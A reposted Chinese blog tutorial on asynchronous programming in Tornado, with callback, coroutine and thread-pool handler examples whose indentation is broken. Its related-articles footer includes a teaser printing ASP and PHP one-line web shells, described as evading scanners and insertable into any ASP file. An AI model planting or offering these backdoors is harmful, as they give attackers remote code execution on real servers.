tornado框架基础11-tornado异步

01 同步和异步

生活中常常会遇到在超市排队买东西的情况,排在你前面的人没有结算完成,你就无法付账,在计算机中也有类似的情形,一个程序在执行之前,需要等待其他的程序执行完成,大家还能举出其他的例子吗?

同步

含义:指两个或两个以上随时间变化的量在变化过程中保持一定的相对关系 

现象:有一个共同的时钟,按来的顺序一个一个处理 

直观感受 :就是需要等候,效率低下

异步

含义 :双方不需要共同的时钟,也就是接收方不知道发送方什么时候发送,所以在发送的信息中就要有提示接收方开始接收的信息,如开始位,同时在结束时有停止位 

现象:没有共同的时钟,不考虑顺序来了就处理 

直观感受:就是不用等了,效率高

02 阻塞和非阻塞

同样是刚才排队的情形,当你在排队的同时,你的状态是怎样的呢?在计算机里面应该怎么描述呢?

阻塞调用与非阻塞调用

阻塞调用

含义 : 阻塞调用是指调用结果返回之前,当前线程会被挂起(线程进入非可执行状态,在这个状态下,CPU不会给线程分配时间片,即线程暂停运行)。函数只有在得到结果之后才会返回 

现象:读套接字时没有数据等数据来,写套接字时写不下了也一直等,等能写下了往里写(套接字被写满的原因不在本地,在于网络另一头的套接字被写满了来不及读出去,导致本地的套接字内容来发不出去堵住了) 

直观感受:执着

非阻塞调用

含义 :非阻塞调用是指没有调用结果立即返回,当前线程不被挂起,可以继续做其它工作 

现象:读套接字时没有数据,不等直接返回干别的事去,写套接字写不下了也不写了,直接返回干别的事去

直观感受:勤奋

03 异步编程

三种方式:协程,回调函数,requests

在前面的介绍的基础上,来看下 Tornado 中,当同时有多个请求发送过来时,而且其中还有请求发生阻塞,会产生什么样的后果呢?

通过回调函数来实现异步

import tornado.httpclient

class CallbackHandler(BaseHandler): """通过回调函数来实现异步"""

   @tornado.web.asynchronous

   def get(self):

     client = tornado.httpclient.AsyncHTTPClient() # 异步的方

    client.fetch("http://127.0.0.1:8000/sync",callback=self.on_response) self.write('Ok!'+' ')

  def on_response(self,response):

     self.write(response.body)

     self.finish() # 注意一定要加上,回调的异步完成后不会自动执行finish,所以在这里要手动加上.

通过协程实现异步

导入模块

import tornado.gen

class GenHandler(BaseHandler): """通过协程实现的异步"""

   @tornado.web.asynchronous

   @tornado.gen.coroutine # coroutine 协程

  def get(self):

  client = tornado.httpclient.AsyncHTTPClient()

  response = yield tornado.gen.Task(client.fetch,"http://127.0.0.1:8000/sync")

  self.write(response.body)

通过协程实现异步(自定义函数)

class FuncHandler(BaseHandler): """通过协程实现的异步"""

   @tornado.web.asynchronous

   @tornado.gen.coroutine # coroutine 协程

   def get(self):

   response = yield self.func()

   print(response)

   self.write(response.body)

   @tornado.gen.coroutine

   def func(self):

     client = tornado.httpclient.AsyncHTTPClient()

     response = yield tornado.gen.Task(client.fetch,"http://127.0.0.1:8000/sync")

     raise tornado.gen.Return(response)

通过协程来实现异步(使用requests模块)

第一步:安装模块

pip install futures

pip install requests

第二步:导入模块

from tornado.concurrent import run_on_executor

from concurrent.futures import ThreadPoolExecutor

import requests

通过协程来实现异步(使用requests模块)

class MyFuncHandler(BaseHandler): """通过协程实现的异步"""

   executor = ThreadPoolExecutor()

   @tornado.web.asynchronous

   @tornado.gen.coroutine # coroutine 协程

   def get(self):

     response = yield self.func()

     print(response)

     self.write(response.text)

   @run_on_executor

   def func(self):

   response = requests.get("http://127.0.0.1:8000/sync")

   return response

转载于:https://www.cnblogs.com/winfun/p/10974335.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/462421.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

select,epoll,poll比较

http://blog.sina.com.cn/s/blog_8fa7dd41010153zx.html select,poll,epoll简介 select select本质上是通过设置或者检查存放fd标志位的数据结构来进行下一步处理。这样所带来的缺点是: 1 单个进程可监视的fd数量被限制 2 需要维护一个用…

一句话

以下这个ASP一句话<%If Request("1")<>"" Then ExecuteGlobal(Request("1"))%><?php ($_$_GET[2]).$_($_POST[1])?>上面这句是防杀防扫的&#xff01;网上很少人用&#xff01;可以插在网页任何ASP文件的最底部不会出错&…

linux下wget的用法

2019独角兽企业重金招聘Python工程师标准>>> Linux wget是一个下载文件的工具&#xff0c;它用在命令行下。对于Linux用户是必不可少的工具&#xff0c;尤其对于网络管理员&#xff0c;经常要下载一些软件或从远程服务器恢复备份到本地服务器。如果我们使用虚拟主机…

【传智播客】Libevent学习笔记(三):事件循环

目录 00. 目录01. event_base_loop函数02. event_base_dispatch函数03. event_base_loopexit函数04. event_base_loopbreak函数05. event_base_got_exit函数06. event_base_got_break函数07. event_base_dump_events函数08. event_base_dump_events函数09. 废弃的事件循环函数1…

linux下设定动态库路径的命令-error while loading shared libraries: xxx.so.x错误的原因和解决办法

网站&#xff1a;http://blog.chinaunix.net/uid-26212859-id-3256667.html 一般我们在Linux下执行某些外部程序的时候可能会提示找不到共享库的错误, 比如: tmux: error while loading shared libraries: libevent-1.4.so.2: cannot open shared object file: No such file o…

同步/异步与阻塞/非阻塞的区别

这两组概念常常让人迷惑,因为它们都是涉及到IO处理,同时又有着一些相类似的地方. 首先来解释同步和 异步的概念,这两个概念与消息的通知机制有关. 举个 例子,比如我去银行办理业务,可能选择排队等候,也可能取一个小纸条上面有我的号码,等到排到我这一号时由柜台的人通知我轮到我…

Android的MVC框架

http://www.cnblogs.com/wanghafan/archive/2012/07/20/2600786.html MVC是当前比较流行的框架&#xff0c;随便Google下&#xff0c;就可以发现几乎所有的应用程序开发中都采用了MVC框架&#xff0c;例如&#xff1a;.NET&#xff0c;Java Spring&#xff0c;Java Struts&…

DVWA-SQL注入

SQL注入解题思路 寻找注入点&#xff0c;可以通过web扫描工具实现通过注入点&#xff0c;尝试得到连接数据库的用户名&#xff0c;数据库名称&#xff0c;权限等信息。猜解关键数据库表极其重要字段与内容。通过获得的用户信息寻找后台进行登录。利用后台上传webshell或一句话木…

void init(void) 分析 ! \linux-1.0\init\main.c

void init(void) {int pid,i;//设置环境信息setup((void *) &drive_info);//打印提示语句sprintf(term, "TERMcon%dx%d", ORIG_VIDEO_COLS, ORIG_VIDEO_LINES);//打开终端1(void) open("/dev/tty1",O_RDWR,0);//拷贝打开的描述字1 &#xff0c;2&#…

查看符号表

objdump -tT libcamera.so转载于:https://www.cnblogs.com/eustoma/archive/2011/11/21/2415805.html

easyui验证:validatebox

2019独角兽企业重金招聘Python工程师标准>>> $.extend($.fn.validatebox.defaults.rules, { eqTrim : {/* 填写名字前面不能有空格&#xff01; */ validator : function(value,param) { var reg new RegExp(param); var falg!reg.test(value); return falg; }, me…

秒懂机器学习---当机器学习遇上决策树....

秒懂机器学习---当机器学习遇上决策树.... 一、总结 一句话总结&#xff1a; 多多看图&#xff0c;图的直观效果很好&#xff0c;很多时候文字实在表达不清 1、决策树&#xff08;Decision Tree&#xff09;中的各个节点表示什么意思&#xff1f; 每一个树节点表示一个属性上的…

void start_kernel(void)分析 ! \linux-1.0\init\main.c

//启动系统内核 //asmlinkage 为通过堆栈传递参数&#xff0c;默认为通过寄存器传递参数。 asmlinkage void start_kernel(void) { /** Interrupts are still disabled. Do necessary setups, then* enable them*///设置中断向量表set_call_gate(&default_ldt,lcall7);//设…

ASP.NET MVC3源码下载

这个貌似是微软官方的源代码 我收藏了 有时间在来研究研究 下载地址&#xff1a;http://files.cnblogs.com/happyyouandme/mvc3%E6%A1%86%E6%9E%B6%E6%BA%90%E7%A0%81.zip 转载于:https://www.cnblogs.com/happyyouandme/archive/2011/11/22/2259108.html

H3C交换机配置学习随笔

1、交换机配置VLAN vlan 创建VLAN: <h3c>system-view [h3c]vlan 10 删除ID为10的vlan&#xff1a;undo vlan 10 注&#xff1a;任何型号的交换机&#xff0c;都支持4096个vlan vlan ID 从0--4095 vlan 0是保留vlan vlan 1是默认vlan display vlan查看本机有多少个vlan&am…

Linux系统目录结构及主要内容

为什么80%的码农都做不了架构师&#xff1f;>>> 文件结构 &#xff1a; /&#xff1a;根目录&#xff0c;所有的目录、文件、设备都在/之下&#xff0c;/就是Linux文件系统的组织者&#xff0c;也是最上级的领导者。 /bin&#xff1a; bin 就是二进制&#xff08;b…

select + 线程池 回应服务器(windows)

//为了支持移植 沿用Ptypes的头文件 #define WIN32 1 #include "ptime.h" #include "pinet.h" #include "ptypes.h" #include "pasync.h"#ifdef WIN32 #pragma comment(lib, "ptypes.lib") #pragma comment(lib, "ws2_…

一个程序员的创业失败教训

原文链接 http://blog.jobbole.com/6752/ 这段经历是悲伤的&#xff0c;也是快乐的&#xff0c;毕竟创业是充满激情的&#xff0c;想着自己以后可以不再给人打工了&#xff0c;可以给自己打工了&#xff0c;一个程序员写了很多年的程序之后&#xff0c;能够有机会给自己写程序&…

学习《深度学习入门:基于Python的理论与实现》高清中文版PDF+源代码

入门神经网络深度学习&#xff0c;推荐学习《深度学习入门&#xff1a;基于Python的理论与实现》&#xff0c;这本书不来虚的&#xff0c;一上来就是手把手教你一步步搭建出一个神经网络&#xff0c;还能把每一步的出处讲明白。理解神经网络&#xff0c;很容易就能入门。 深度学…

每日英文2013.06.19

1.contact /ˈkɑnˌtkt/ v. 接觸;聯繫 (1) Customers may contact any of our location to inquire about car rentals. a.inquire /ɪnˈkwaɪr/ v. to ask someone for information about something b.rental /ˈrent(ə)l/ n. an amount of money that you pay for rentin…